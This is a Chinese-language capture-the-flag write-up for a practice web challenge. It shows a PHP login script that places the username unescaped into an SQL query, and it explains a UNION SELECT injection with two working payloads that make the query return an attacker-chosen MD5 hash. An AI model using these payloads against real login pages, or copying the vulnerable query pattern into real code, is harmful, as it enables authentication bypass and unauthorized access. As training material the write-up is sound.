程序逻辑问题
直接查看网页源代码
<html>
<head>
welcome to simplexue
</head>
<body>
<br />
<b>Notice</b>: Use of undefined constant user - assumed 'user' in <b>C:\h43a1W3\phpstudy\WWW\web\5\index.php</b> on line <b>9</b><br />
<br />
<b>Notice</b>: Undefined index: user in <b>C:\h43a1W3\phpstudy\WWW\web\5\index.php</b> on line <b>9</b><br />
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>
发现存在index.txt
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
mysql_query() 函数执行一条 MySQL 查询。
mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。
strcasecmp() 函数比较两个字符串(不区分大小写)。
通过代码可以了解它从数据库中查询user用户的pw值;将pass值进行md5加密后赋给pass变量;最后判断数据库中的pw值是否与加密后的pass变量一致。
$sql = "select pw from php where user='$user'";
在这里我们可以利用sql语句,直接给$sql
返回一个值。也就是说,不需要访问题里的数据库,只要我们修改了$sql
的值,然后使得它与加密后的pass值一致即可拿到flag。
可以用union select联合查询来绕过,构造如下payload:
user:username' union select md5(1) #
pass:1
user:username' union select 'c20ad4d76fe97759aa27a0c99bff6710' #
pass:12